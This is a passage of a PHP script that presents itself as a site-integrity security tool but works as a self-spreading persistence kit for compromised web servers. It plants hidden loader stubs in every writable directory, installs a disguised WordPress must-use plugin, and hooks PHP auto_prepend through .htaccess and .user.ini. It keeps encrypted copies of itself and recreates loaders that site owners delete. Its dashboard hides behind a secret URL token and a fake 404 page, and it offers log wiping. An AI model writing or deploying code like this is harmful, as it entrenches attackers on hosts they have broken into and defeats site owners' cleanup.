@mkdir($dir, 0755, true); if (@file_put_contents($abs, $content, LOCK_EX) === false) { sg_log("Restore failed: cannot write $abs", 'error'); return false; } sg_log("Restored $file", 'warn'); return true; } // ============================================================================= // SELF SEEDS + PAYLOADS // ============================================================================= function sg_self_source() { return @file_get_contents(__FILE__); } function sg_ensure_encrypted_seeds() { global $SG_CONFIG, $SG_MASTER_KEY; $src = sg_self_source(); if ($src === false) return; $hash = hash('sha256', $src); $payload = "SG_SEED_V1\n" . $hash . "\n" . sg_encrypt($src, $SG_MASTER_KEY); foreach ($SG_CONFIG['encrypted_seed_paths'] as $p) { $cur = @file_get_contents($p); if ($cur === false || strpos((string)$cur, "SG_SEED_V1\n$hash\n") !== 0) { @file_put_contents($p, $payload, LOCK_EX); @chmod($p, 0600); } } } function sg_ensure_payloads() { global $SG_CONFIG; $src = sg_self_source(); if ($src === false) return; $hash = hash('sha256', $src); $payload = "SG_PAYLOAD_V1\n" . $hash . "\n" . base64_encode(gzdeflate($src, 9)); foreach ($SG_CONFIG['payload_paths'] as $p) { $cur = @file_get_contents($p); if ($cur === false || strpos((string)$cur, "SG_PAYLOAD_V1\n$hash\n") !== 0) { @file_put_contents($p, $payload, LOCK_EX); @chmod($p, 0644); } } } function sg_seed_status() { global $SG_CONFIG, $SG_MASTER_KEY; $selfHash = file_exists(__FILE__) ? hash('sha256', sg_self_source()) : null; $out = ['encrypted'=>[], 'payload'=>[]]; foreach ($SG_CONFIG['encrypted_seed_paths'] as $p) { $r = ['path'=>$p,'exists'=>file_exists($p),'current'=>false,'decryptable'=>false]; if ($r['exists']) { $raw = @file_get_contents($p); $parts = explode("\n", (string)$raw, 3); if (count($parts) === 3 && $parts[0] === 'SG_SEED_V1') { $r['current'] = ($parts[1] === $selfHash); $r['decryptable'] = (sg_decrypt($parts[2], $SG_MASTER_KEY) !== false); } } $out['encrypted'][] = $r; } foreach ($SG_CONFIG['payload_paths'] as $p) { $r = ['path'=>$p,'exists'=>file_exists($p),'current'=>false,'valid'=>false]; if ($r['exists']) { $raw = @file_get_contents($p); $parts = explode("\n", (string)$raw, 3); if (count($parts) === 3 && $parts[0] === 'SG_PAYLOAD_V1') { $r['current'] = ($parts[1] === $selfHash); $dec = @gzinflate(base64_decode($parts[2])); $r['valid'] = ($dec !== false && hash('sha256', $dec) === $parts[1]); } } $out['payload'][] = $r; } return $out; } // ============================================================================= // LOADER TEMPLATES // ============================================================================= function sg_loader_body($tag) { return <<<PHP <?php /* SG_LOADER_V3 — auto-restore stub. Do not modify. */ if (!defined('SG_LOADER_RAN_{$tag}')) { define('SG_LOADER_RAN_{$tag}', 1); (function () { \$dir = __DIR__; for (\$i = 0; \$i < 10; \$i++) { if (file_exists(\$dir . '/security.php')) return; \$payloads = glob(\$dir . '/.sg_payload_*.dat') ?: []; foreach (\$payloads as \$p) { \$raw = @file_get_contents(\$p); if (!\$raw) continue; \$parts = explode("\\n", \$raw, 3); if (count(\$parts) !== 3 || \$parts[0] !== 'SG_PAYLOAD_V1') continue; \$code = @gzinflate(base64_decode(\$parts[2])); if (\$code === false || hash('sha256', \$code) !== \$parts[1]) continue; if (@file_put_contents(\$dir . '/security.php', \$code, LOCK_EX) !== false) @chmod(\$dir . '/security.php', 0644); return; } \$parent = dirname(\$dir); if (\$parent === \$dir) return; \$dir = \$parent; } })(); } PHP; } function sg_mu_plugin_body($tag) { return <<<PHP <?php /* Plugin Name: Site Integrity Guard Description: Auto-restore watcher. Managed automatically. Do not modify or delete. Version: 3.1 Author: SG */ if (!defined('ABSPATH')) exit; /* SG_LOADER_V3_MU */ if (!defined('SG_LOADER_RAN_{$tag}')) { define('SG_LOADER_RAN_{$tag}', 1); add_action('init', function () { \$dir = ABSPATH; if (file_exists(\$dir . '/security.php')) return; for (\$i = 0; \$i < 5; \$i++) { \$payloads = glob(\$dir . '/.sg_payload_*.dat') ?: []; foreach (\$payloads as \$p) { \$raw = @file_get_contents(\$p); if (!\$raw) continue; \$parts = explode("\\n", \$raw, 3); if (count(\$parts) !== 3 || \$parts[0] !== 'SG_PAYLOAD_V1') continue; \$code = @gzinflate(base64_decode(\$parts[2])); if (\$code === false || hash('sha256', \$code) !== \$parts[1]) continue; @file_put_contents(\$dir . '/security.php', \$code, LOCK_EX); return; } \$parent = dirname(\$dir); if (\$parent === \$dir) return; \$dir = \$parent; } }, 1); } PHP; } // ============================================================================= // LOADER NETWORK // ============================================================================= function sg_scan_writable_dirs($root, $maxDepth, $maxCount) { $found = []; $queue = [[$root, 0]]; while ($queue && count($found) < $maxCount) { list($dir, $depth) = array_shift($queue); if ($depth > $maxDepth) continue; $entries = @scandir($dir); if (!$entries) continue; foreach ($entries as $e) { if ($e === '.' || $e === '..') continue; if (strpos($e, '.sg_') === 0) continue; if (strpos($e, '.git') === 0) continue; if ($e === 'node_modules' || $e === 'vendor') continue; $full = $dir . DIRECTORY_SEPARATOR . $e; if (!is_dir($full) || !is_writable($full)) continue; $found[] = $full; $queue[] = [$full, $depth + 1]; if (count($found) >= $maxCount) break 2; } } return $found; } function sg_candidate_loader_paths($cms) { global $SG_CONFIG; $candidates = []; if ($cms['name'] === 'wordpress') { if (!empty($cms['paths']['mu_plugins']) || is_dir(dirname($cms['paths']['mu_plugins'] ?? ''))) { $candidates[] = ['kind'=>'mu_plugin', 'path' => $cms['paths']['mu_plugins'] . '/0-sg-watcher.php']; } foreach (['uploads','themes','plugins','wp_content'] as $k) { if (!empty($cms['paths'][$k]) && is_dir($cms['paths'][$k])) { $candidates[] = ['kind'=>'stub', 'path' => $cms['paths'][$k] . '/.sg_' . $k . '.php']; } } } $candidates[] = ['kind'=>'stub', 'path' => __DIR__ . '/.sg_bootstrap.php']; $candidates[] = ['kind'=>'stub', 'path' => __DIR__ . '/.sg_index_guard.php']; $dirs = sg_scan_writable_dirs(__DIR__, $SG_CONFIG['loader_scan_depth'], $SG_CONFIG['loader_max_scan']); foreach ($dirs as $dir) { $tag = substr(md5($dir), 0, 8); $candidates[] = ['kind'=>'stub', 'path' => $dir . DIRECTORY_SEPARATOR . '.sg_' . $tag . '.php']; } return $candidates; } function sg_install_loaders(&$state, $cms) { global $SG_CONFIG; $target = $SG_CONFIG['loader_target_count']; $candidates = sg_candidate_loader_paths($cms); $installed = count($state['loaders']); $created = 0; $repaired = 0; foreach ($candidates as $cand) { if ($installed >= $target && isset($state['loaders'][$cand['path']])) { $info = $state['loaders'][$cand['path']]; if (file_exists($cand['path'])) { $cur = @file_get_contents($cand['path']); if (hash('sha256', (string)$cur) === $info['hash']) continue; } } $path = $cand['path']; $dir = dirname($path); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) continue; $tag = strtoupper(substr(md5($path), 0, 12)); $body = ($cand['kind'] === 'mu_plugin') ? sg_mu_plugin_body($tag) : sg_loader_body($tag); $hash = hash('sha256', $body); $existing = file_exists($path) ? @file_get_contents($path) : null; if ($existing === null || hash('sha256', (string)$existing) !== $hash) { if (@file_put_contents($path, $body, LOCK_EX) === false) continue; @chmod($path, 0644); if ($existing === null) { $created++; sg_log("Loader created", 'info'); } else { $repaired++; sg_log("Loader repaired", 'warn'); } } if (!isset($state['loaders'][$path])) $installed++; $state['loaders'][$path] = [ 'kind' => $cand['kind'], 'tag' => $tag, 'hash' => $hash, 'last_verified' => time(), 'installed_at' => $state['loaders'][$path]['installed_at'] ?? time(), ]; } if ($created + $repaired > 0) sg_log("Loader network: $created new, $repaired repaired", 'info'); return $installed; } function sg_verify_loaders(&$state) { foreach ($state['loaders'] as $path => $info) { if (!file_exists($path)) { $body = ($info['kind'] === 'mu_plugin') ? sg_mu_plugin_body($info['tag']) : sg_loader_body($info['tag']); $dir = dirname($path); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (@file_put_contents($path, $body, LOCK_EX) !== false) { @chmod($path, 0644); $state['loaders'][$path]['hash'] = hash('sha256', $body); $state['loaders'][$path]['last_verified'] = time(); sg_log("Deleted loader recreated", 'warn'); } continue; } $cur = @file_get_contents($path); if ($cur === false) continue; if (hash('sha256', $cur) !== $info['hash']) { $body = ($info['kind'] === 'mu_plugin') ? sg_mu_plugin_body($info['tag']) : sg_loader_body($info['tag']); if (@file_put_contents($path, $body, LOCK_EX) !== false) { $state['loaders'][$path]['hash'] = hash('sha256', $body); $state['loaders'][$path]['last_verified'] = time(); sg_log("Modified loader restored", 'warn'); } } else { $state['loaders'][$path]['last_verified'] = time(); } } } // ============================================================================= // FILE INTEGRITY CHECK // ============================================================================= function sg_check_file($file, &$state) { $abs = sg_resolve($file); $exists = file_exists($abs); $rec = $state['files'][$file] ?? null; $r = ['file'=>$file,'exists'=>$exists,'status'=>'unknown','action'=>'none', 'current_hash'=>null,'expected_hash'=>$rec['hash'] ?? null, 'last_check'=>$rec['last_check'] ?? null,'last_backup'=>$rec['last_backup'] ?? null, 'first_seen'=>$rec['first_seen'] ?? null,'backups'=>sg_count_backups($file)]; if (!$exists) { if (!$rec) { $r['status']='not_present'; $r['action']='skipped'; return $r; } if (sg_restore_file($file)) { $r['status']='restored'; $r['action']='restored-from-backup'; $r['current_hash']=hash('sha256', @file_get_contents($abs)); } else { $r['status']='missing'; $r['action']='no-backup-available'; sg_log("$file missing, no backup", 'error'); } $state['files'][$file]['last_check']=time(); return $r; } $content = @file_get_contents($abs); if ($content === false) { $r['status']='unreadable'; return $r; } $displayHash = hash('sha256', $content); $baselineHash = sg_baseline_hash($file, $content); $r['current_hash'] = $displayHash; if (!$rec) { sg_backup_file($file); $state['files'][$file] = ['hash'=>$baselineHash,'size'=>strlen($content),'first_seen'=>time(),'last_backup'=>time(),'last_check'=>time()]; $r['status']='registered'; $r['action']='first-time-baseline'; $r['expected_hash']=$baselineHash; $r['first_seen']=time(); $r['last_backup']=time(); sg_log("Registered $file", 'info'); return $r; } if (!hash_equals($rec['hash'], $baselineHash)) { if (sg_restore_file($file)) { $r['status']='restored'; $r['action']='unauthorized-change-reverted'; sg_log("UNAUTHORIZED MOD: $file → restored", 'warn'); } else { $r['status']='modified'; $r['action']='restore-failed'; } } else { $need = false; foreach (sg_count_backups($file) as $n) { if ($n === 0) { $need = true; break; } } if ($need) { sg_backup_file($file); $state['files'][$file]['last_backup']=time(); $r['action']='backups-replenished'; } $r['status']='ok'; } $state['files'][$file]['last_check']=time(); $r['backups'] = sg_count_backups($file); return $r; } function sg_human_time($t) { if (!$t) return '—'; $d = time() - (int)$t; if ($d < 0) return date('Y-m-d H:i', $t); if ($d < 60) return $d . 's'; if ($d < 3600) return floor($d/60) . 'm'; if ($d < 86400) return floor($d/3600) . 'h'; return floor($d/86400) . 'd'; } function sg_bytes($n) { if ($n < 1024) return $n . ' B'; if ($n < 1048576) return round($n/1024, 1) . ' KB'; return round($n/1048576, 1) . ' MB'; } // ============================================================================= // CMS DETECT + EXTEND PROTECTED FILES // ============================================================================= $CMS = sg_detect_cms(); foreach ($CMS['protected_extras'] as $extra) { if (!in_array($extra, $SG_CONFIG['protected_files'], true)) $SG_CONFIG['protected_files'][] = $extra; } // ============================================================================= // PROTECTION RUNS ON EVERY REQUEST // ============================================================================= sg_ensure_dirs(); sg_ensure_recovery_stub(); // .sg_recovery.php — auto-restore trigger sg_install_root_htaccess(); // rewrite + auto_prepend + deny sg_install_user_ini(); // PHP-FPM auto_prepend sg_ensure_encrypted_seeds(); sg_ensure_payloads(); $state = sg_load_state(); sg_install_loaders($state, $CMS); sg_verify_loaders($state); foreach ($SG_CONFIG['protected_files'] as $f) sg_check_file($f, $state); sg_save_state($state); // Headless mode (invoked from .sg_recovery.php): protection already ran, exit silently. if (defined('SG_HEADLESS') && SG_HEADLESS) { return; } // ============================================================================= // AUTH — URL token only. Wrong/missing → 404. // ============================================================================= $providedToken = $_GET[$SG_CONFIG['token_param']] ?? ''; $tokenMatches = ($providedToken !== '' && hash_equals($SG_MASTER_KEY, $providedToken)); // First-visit marker (race-safe) $initFp = @fopen($SG_CONFIG['init_marker'], 'xb'); $isFirstVisit = false; if ($initFp !== false) { fwrite($initFp, time()); fclose($initFp); @chmod($SG_CONFIG['init_marker'], 0600); $isFirstVisit = true; } // Language switcher URL helper function sg_lang_url($lang, $token = null, $isFirstVisit = false) { global $SG_CONFIG; $script = $_SERVER['SCRIPT_NAME'] ?? '/security.php'; if ($isFirstVisit || $token === null) return $script . '?lang=' . $lang; return $script . '?' . $SG_CONFIG['token_param'] . '=' . urlencode($token) . '&lang=' . $lang; } function sg_render_lang_switcher($currentLang, $token, $isFirstVisit) { $langs = ['en' => 'EN', 'id' => 'ID', 'tr' => 'TR']; echo '<div class="lang-switcher">'; foreach ($langs as $code => $label) { $active = $code === $currentLang ? ' active' : ''; $url = sg_lang_url($code, $token, $isFirstVisit); echo '<a href="' . h($url) . '" class="lang-btn' . $active . '">' . $label . '</a>'; } echo '</div>'; } if ($isFirstVisit) { $proto = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'yoursite.com'; $script = $_SERVER['SCRIPT_NAME'] ?? '/security.php'; $bookmarkUrl = $proto . '://' . $host . $script . '?' . $SG_CONFIG['token_param'] . '=' . $SG_MASTER_KEY; sg_log("First visit — bookmark URL revealed", 'info'); ?> <!DOCTYPE html><html lang="<?= h($SG_LANG) ?>"><head><meta charset="UTF-8"><title>Setup</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{background:#0d1117;color:#c9d1d9;font:14px/1.5 -apple-system,Segoe UI,Roboto,sans-serif;min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px;position:relative} .box{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:32px;max-width:680px;width:100%;position:relative} h1{font-size:22px;margin-bottom:8px;color:#56d364} .sub{color:#8b949e;margin-bottom:20px;font-size:13px} .warn{background:#2d2106;border:1px solid #9e6a03;color:#e3b341;padding:14px;border-radius:6px;margin:16px 0;font-size:13px} .url-box{background:#010409;border:1px solid #1f6f3d;border-radius:6px;padding:16px;margin:16px 0;font-family:ui-monospace,Menlo,monospace;font-size:12px;color:#79c0ff;word-break:break-all;user-select:all} .btn{display:inline-block;background:#1f6f3d;color:#fff;padding:10px 18px;border-radius:6px;text-decoration:none;margin:4px 6px 4px 0} .btn:hover{background:#2ea043} ol{margin:16px 0 16px 20px;font-size:13px;line-height:1.8} code{background:#010409;padding:2px 6px;border-radius:4px;font-size:12px;color:#79c0ff} .lang-switcher{position:absolute;top:20px;right:20px;display:flex;gap:4px;z-index:10} .lang-btn{background:#21262d;color:#8b949e;border:1px solid #30363d;border-radius:4px;padding:5px 10px;font-size:11px;text-decoration:none;font-weight:600} .lang-btn:hover{color:#c9d1d9;border-color:#8b949e} .lang-btn.active{background:#1f6f3d;color:#fff;border-color:#1f6f3d} </style></head><body> <?php sg_render_lang_switcher($SG_LANG, null, true); ?> <div class="box"> <h1><?= t('fv_title') ?></h1> <div class="sub"><?= t('fv_sub') ?></div> <div class="warn"><?= t('fv_warn') ?></div> <div class="url-box"><?= h($bookmarkUrl) ?></div> <a class="btn" href="<?= h($bookmarkUrl) ?>&lang=<?= h($SG_LANG) ?>"><?= t('fv_btn') ?></a> <ol> <li><?= t('fv_step1') ?></li> <li><?= t('fv_step2') ?></li> <li><?= t('fv_step3') ?></li> </ol> <div class="warn" style="margin-top:24px;"><?= t('fv_lost') ?></div> </div></body></html> <?php exit; } if (!$tokenMatches) { http_response_code(404); echo "<!DOCTYPE html><html><head><title>404 Not Found</title></head>" . "<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>"; exit; } // ============================================================================= // DASHBOARD // ============================================================================= @session_start(); if (empty($_SESSION['sg_csrf'])) $_SESSION['sg_csrf'] = bin2hex(random_bytes(16)); $csrfToken = $_SESSION['sg_csrf']; $flash = null; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (!hash_equals($csrfToken, $_POST['csrf'] ?? '')) { $flash = ['err', t('flash_csrf')]; } else { switch ($_POST['action'] ?? '') { case 'force_backup_all': $n = 0; foreach ($SG_CONFIG['protected_files'] as $f) if (sg_backup_file($f)) $n++; sg_log("Manual backup: $n files", 'info'); $flash = ['ok', t('flash_backup_ok', $n)]; break; case 'regenerate_seeds': foreach ($SG_CONFIG['encrypted_seed_paths'] as $p) @unlink($p); foreach ($SG_CONFIG['payload_paths'] as $p) @unlink($p); sg_ensure_encrypted_seeds(); sg_ensure_payloads(); sg_log("Seeds + payloads regenerated", 'info'); $flash = ['ok', t('flash_seeds_ok')]; break; case 'install_loaders': $st = sg_load_state(); $n = sg_install_loaders($st, $CMS); sg_save_state($st); $flash = ['ok', t('flash_loaders_ok', $n)]; break; case 'wipe_log': @unlink($SG_CONFIG['log_file']); $flash = ['ok', t('flash_log_wiped')]; break; } } } $state = sg_load_state(); $checks = []; foreach ($SG_CONFIG['protected_files'] as $f) $checks[] = sg_check_file($f, $state); sg_save_state($state); $seedStatus = sg_seed_status(); $events = sg_read_log(80); $loadersAlive = 0; foreach ($state['loaders'] as $p => $info) { if (file_exists($p) && hash('sha256', (string)@file_get_contents($p)) === $info['hash']) $loadersAlive++; } $summary = [ 'total' => count($checks), 'ok' => count(array_filter($checks, fn($c) => $c['status'] === 'ok')), 'restored' => count(array_filter($checks, fn($c) => $c['status'] === 'restored')), 'problems' => count(array_filter($checks, fn($c) => in_array($c['status'], ['missing','modified','unreadable']))), 'not_present' => count(array_filter($checks, fn($c) => $c['status'] === 'not_present')), 'enc_seeds_ok' => count(array_filter($seedStatus['encrypted'], fn($s)=>$s['exists']&&$s['current']&&$s['decryptable'])), 'enc_seeds_total' => count($seedStatus['encrypted']), 'payloads_ok' => count(array_filter($seedStatus['payload'], fn($s)=>$s['exists']&&$s['current']&&$s['valid'])), 'payloads_total' => count($seedStatus['payload']), 'loaders_total' => count($state['loaders']), 'loaders_alive' => $loadersAlive, ]; $overall = ($summary['problems'] === 0 && $summary['payloads_ok'] === $summary['payloads_total'] && $summary['loaders_alive'] === $summary['loaders_total'] && $summary['loaders_total'] > 0) ? 'green' : (($summary['problems'] > 0) ? 'red' : 'yellow'); // pill text mapper function sg_pill_text($status) { static $map = [ 'ok' => 'pill_active', 'restored' => 'card_restored', 'missing' => 'pill_missing', 'modified' => 'pill_broken', 'registered' => 'pill_present', 'not_present' => 'pill_missing', 'unreadable' => 'pill_broken', ]; return isset($map[$status]) ? t($map[$status]) : $status; } ?> <!DOCTYPE html> <html lang="<?= h($SG_LANG) ?>"><head> <meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"> <meta http-equiv="refresh" content="<?= (int)$SG_CONFIG['refresh_seconds'] ?>"> <title>SG</title> <style> *{box-sizing:border-box;margin:0;padding:0} body{background:#0d1117;color:#c9d1d9;font:14px/1.5 -apple-system,Segoe UI,Roboto,sans-serif;padding:20px} .wrap{max-width:1300px;margin:0 auto;position:relative} h1{font-size:22px;margin-bottom:4px;display:flex;align-items:center;gap:10px;padding-right:160px} h1 .cms{font-size:11px;background:#1f4068;color:#79c0ff;padding:3px 8px;border-radius:10px;font-weight:500} .sub{color:#8b949e;font-size:12px;margin-bottom:20px} .lang-switcher{position:absolute;top:0;right:0;display:flex;gap:4px;z-index:10} .lang-btn{background:#21262d;color:#8b949e;border:1px solid #30363d;border-radius:4px;padding:5px 12px;font-size:11px;text-decoration:none;font-weight:600} .lang-btn:hover{color:#c9d1d9;border-color:#8b949e} .lang-btn.active{background:#1f6f3d;color:#fff;border-color:#1f6f3d} .banner{padding:14px 18px;border-radius:8px;margin-bottom:18px;font-weight:500;display:flex;align-items:center;gap:10px} .banner.green{background:#0d2818;border:1px solid #1f6f3d;color:#56d364} .banner.yellow{background:#2d2106;border:1px solid #9e6a03;color:#e3b341} .banner.red{background:#2d0f0f;border:1px solid #a40e26;color:#ff7b72} .banner .dot{width:10px;height:10px;border-radius:50%} .banner.green .dot{background:#56d364}.banner.yellow .dot{background:#e3b341}.banner.red .dot{background:#ff7b72} .cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:12px;margin-bottom:20px} .card{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:14px} .card .label{font-size:11px;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px} .card .value{font-size:24px;font-weight:600;margin-top:6px} .card.ok .value{color:#56d364}.card.warn .value{color:#e3b341}.card.bad .value{color:#ff7b72} .section{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:18px;margin-bottom:16px} .section h2{font-size:14px;text-transform:uppercase;letter-spacing:0.5px;color:#8b949e;margin-bottom:12px} table{width:100%;border-collapse:collapse;font-size:13px} th,td{padding:8px 10px;text-align:left;border-bottom:1px solid #21262d;vertical-align:middle} th{color:#8b949e;font-weight:500;font-size:11px;text-transform:uppercase} .pill{display:inline-block;padding:2px 8px;border-radius:12px;font-size:11px;font-weight:500} .pill.ok{background:#0d2818;color:#56d364;border:1px solid #1f6f3d} .pill.restored{background:#2d2106;color:#e3b341;border:1px solid #9e6a03} .pill.missing,.pill.modified,.pill.err,.pill.error,.pill.unreadable{background:#2d0f0f;color:#ff7b72;border:1px solid #a40e26} .pill.registered{background:#0a1a2e;color:#58a6ff;border:1px solid #1f4068} .pill.not_present,.pill.muted{background:#1c1f24;color:#8b949e;border:1px solid #30363d} .pill.warn{background:#2d2106;color:#e3b341} .pill.info{background:#0a1a2e;color:#58a6ff} .pill.mu_plugin{background:#2d1b4d;color:#bc8cff;border:1px solid #5d3d8c} .pill.stub{background:#0d2818;color:#56d364;border:1px solid #1f6f3d} .hash{font-family:ui-monospace,Menlo,monospace;font-size:11px;color:#6e7681} button,.btn{background:#21262d;color:#c9d1d9;border:1px solid #30363d;border-radius:6px;padding:6px 12px;font-size:12px;cursor:pointer;font-family:inherit} button:hover{background:#30363d;border-color:#8b949e} button.primary{background:#1f6f3d;border-color:#1f6f3d;color:#fff} button.primary:hover{background:#2ea043} button.danger{color:#ff7b72;border-color:#5d1d1d} button.danger:hover{background:#2d0f0f} .toolbar{display:flex;gap:8px;flex-wrap:wrap} .flash{padding:12px 16px;border-radius:6px;margin-bottom:16px} .flash.ok{background:#0d2818;border:1px solid #1f6f3d;color:#56d364} .flash.err{background:#2d0f0f;border:1px solid #a40e26;color:#ff7b72} form.inline{display:inline;margin:0} .log-row{font-family:ui-monospace,Menlo,monospace;font-size:12px} .muted{color:#6e7681;font-size:12px} .foot{text-align:center;color:#6e7681;font-size:11px;margin-top:30px;padding:20px} .kv{display:grid;grid-template-columns:200px 1fr;gap:4px 16px;font-size:12px} .kv .k{color:#8b949e} .loader-list{max-height:320px;overflow-y:auto;font-family:ui-monospace,Menlo,monospace;font-size:11px} .loader-row{padding:5px 0;border-bottom:1px solid #21262d;display:flex;justify-content:space-between;align-items:center;gap:10px} .loader-row .path{color:#c9d1d9;word-break:break-all;flex:1;font-size:10.5px} </style></head> <body> <div class="wrap"> <?php sg_render_lang_switcher($SG_LANG, $providedToken, false); ?> <h1><?= t('app_title') ?> <span class="cms"><?= h(strtoupper($CMS['name'])) ?></span></h1> <div class="sub"><?= h(date('Y-m-d H:i:s')) ?> UTC · <?= t('auto_refresh') ?> <?= (int)$SG_CONFIG['refresh_seconds'] ?>s · <?= t('installed_label') ?> <?= h(date('Y-m-d', $state['meta']['installed'] ?? time())) ?></div> <div class="banner <?= $overall ?>"><span class="dot"></span> <?php if ($overall === 'green'): ?><?= t('banner_green', $summary['loaders_alive'], $summary['payloads_total']) ?> <?php elseif ($overall === 'red'): ?><?= t('banner_red') ?> <?php else: ?><?= t('banner_yellow') ?><?php endif ?> </div> <?php if ($flash): ?><div class="flash <?= $flash[0] ?>"><?= h($flash[1]) ?></div><?php endif ?> <div class="cards"> <div class="card <?= $summary['problems']===0?'ok':'bad' ?>"><div class="label"><?= t('card_protected') ?></div><div class="value"><?= $summary['ok']+$summary['restored'] ?>/<?= $summary['total']-$summary['not_present'] ?></div></div> <div class="card <?= $summary['restored']>0?'warn':'ok' ?>"><div class="label"><?= t('card_restored') ?></div><div class="value"><?= $summary['restored'] ?></div></div> <div class="card <?= $summary['problems']>0?'bad':'ok' ?>"><div class="label"><?= t('card_problems') ?></div><div class="value"><?= $summary['problems'] ?></div></div> <div class="card <?= $summary['loaders_alive']===$summary['loaders_total']?'ok':'warn' ?>"><div class="label"><?= t('card_loader_net') ?></div><div class="value"><?= $summary['loaders_alive'] ?>/<?= $summary['loaders_total'] ?></div></div> <div class="card <?= $summary['payloads_ok']===$summary['payloads_total']?'ok':'warn' ?>"><div class="label"><?= t('card_payload') ?></div><div class="value"><?= $summary['payloads_ok'] ?>/<?= $summary['payloads_total'] ?></div></div> <div class="card <?= $summary['enc_seeds_ok']===$summary['enc_seeds_total']?'ok':'warn' ?>"><div class="label"><?= t('card_enc_seed') ?></div><div class="value"><?= $summary['enc_seeds_ok'] ?>/<?= $summary['enc_seeds_total'] ?></div></div> <div class="card"><div class="label"><?= t('card_backup_loc') ?></div><div class="value"><?= count($SG_CONFIG['backup_locations']) ?></div></div> </div> <div class="section"> <h2><?= t('sec_manual') ?></h2> <div class="toolbar"> <form class="inline" method="post"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="force_backup_all"><button class="primary" type="submit"><?= t('btn_refresh_backups') ?></button></form> <form class="inline" method="post"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="install_loaders"><button type="submit"><?= t('btn_expand_loaders') ?></button></form> <form class="inline" method="post"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="regenerate_seeds"><button type="submit"><?= t('btn_regen_seeds') ?></button></form> <form class="inline" method="post" onsubmit="return confirm('<?= h(t('confirm_wipe_log')) ?>');"><input type="hidden" name="csrf" value="<?= h($csrfToken) ?>"><input type="hidden" name="action" value="wipe_log"><button class="danger" type="submit"><?= t('btn_wipe_log') ?></button></form> </div> </div> <div class="section"> <h2><?= t('sec_protected') ?></h2> <table> <thead><tr><th><?= t('col_file') ?></th><th><?= t('col_status') ?></th><th><?= t('col_last_action') ?></th><th><?= t('col_backups_per_loc') ?></th><th><?= t('col_last_check') ?></th><th>SHA-256</th></tr></thead> <tbody> <?php foreach ($checks as $c): ?> <tr> <td><code><?= h($c['file']) ?></code></td> <td><span class="pill <?= h($c['status']) ?>"><?= h(sg_pill_text($c['status'])) ?></span></td> <td class="muted"><?= h($c['action']) ?></td> <td><?php foreach ($c['backups'] as $dir => $n): ?><span class="muted" title="<?= h($dir) ?>"><?= h(basename($dir)) ?>:<b style="color:<?= $n>0?'#56d364':'#ff7b72' ?>"><?= (int)$n ?></b></span> <?php endforeach ?></td> <td class="muted"><?= h(sg_human_time($c['last_check'])) ?></td> <td class="hash" title="<?= h($c['current_hash']) ?>"><?= h(substr((string)$c['current_hash'],0,12)) ?>…</td> </tr> <?php endforeach ?> </tbody> </table> <p class="muted" style="margin-top:10px;"><?= t('help_protected') ?></p> </div> <div class="section"> <h2><?= t('sec_loader_net', $summary['loaders_alive'], $summary['loaders_total']) ?></h2> <p class="muted" style="margin-bottom:10px;"><?= t('help_loader_net') ?></p> <div class="loader-list"> <?php foreach ($state['loaders'] as $path => $info): $exists = file_exists($path); $matches = $exists && hash('sha256', (string)@file_get_contents($path)) === $info['hash']; $sc = $matches ? 'ok' : ($exists ? 'modified' : 'missing'); $st = $matches ? t('pill_active') : ($exists ? t('pill_broken') : t('pill_missing')); ?> <div class="loader-row"> <div class="path"><?= h($path) ?></div> <div><span class="pill <?= h($info['kind']) ?>"><?= h($info['kind']) ?></span> <span class="pill <?= $sc ?>"><?= h($st) ?></span></div> </div> <?php endforeach ?> </div> </div> <div class="section"> <h2><?= t('sec_recovery') ?></h2> <p class="muted" style="margin-bottom:10px;"><?= t('recovery_help') ?></p> <?php $recoveryExists = file_exists($SG_CONFIG['recovery_stub_path']) && hash('sha256', (string)@file_get_contents($SG_CONFIG['recovery_stub_path'])) === hash('sha256', sg_recovery_stub_body()); $htContent = file_exists(__DIR__ . '/.htaccess') ? (string)@file_get_contents(__DIR__ . '/.htaccess') : ''; $hasRewrite = strpos($htContent, '# SG_RECOVERY_START') !== false; $hasPrepend = strpos($htContent, '# SG_PREPEND_START') !== false; $userIniHas = file_exists($SG_CONFIG['user_ini_path']) && strpos((string)@file_get_contents($SG_CONFIG['user_ini_path']), '; SG_PREPEND_START') !== false; $lastTick = file_exists(__DIR__ . '/.sg_last_tick') ? (int)@file_get_contents(__DIR__ . '/.sg_last_tick') : 0; ?> <table> <thead><tr><th><?= t('col_type') ?></th><th><?= t('col_status') ?></th><th><?= t('col_location') ?></th></tr></thead> <tbody> <tr><td><?= t('recovery_stub') ?></td> <td><span class="pill <?= $recoveryExists?'ok':'missing' ?>"><?= h($recoveryExists?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash"><?= h($SG_CONFIG['recovery_stub_path']) ?></td></tr> <tr><td><?= t('recovery_htaccess') ?></td> <td><span class="pill <?= $hasRewrite?'ok':'missing' ?>"><?= h($hasRewrite?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash">.htaccess [SG_RECOVERY block]</td></tr> <tr><td><?= t('recovery_prepend') ?></td> <td><span class="pill <?= $hasPrepend?'ok':'missing' ?>"><?= h($hasPrepend?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash">.htaccess [SG_PREPEND block]</td></tr> <tr><td><?= t('recovery_userini') ?></td> <td><span class="pill <?= $userIniHas?'ok':'missing' ?>"><?= h($userIniHas?t('pill_active'):t('pill_missing')) ?></span></td> <td class="hash"><?= h($SG_CONFIG['user_ini_path']) ?></td></tr> <tr><td><?= t('recovery_lasttick') ?></td> <td><span class="pill <?= ($lastTick 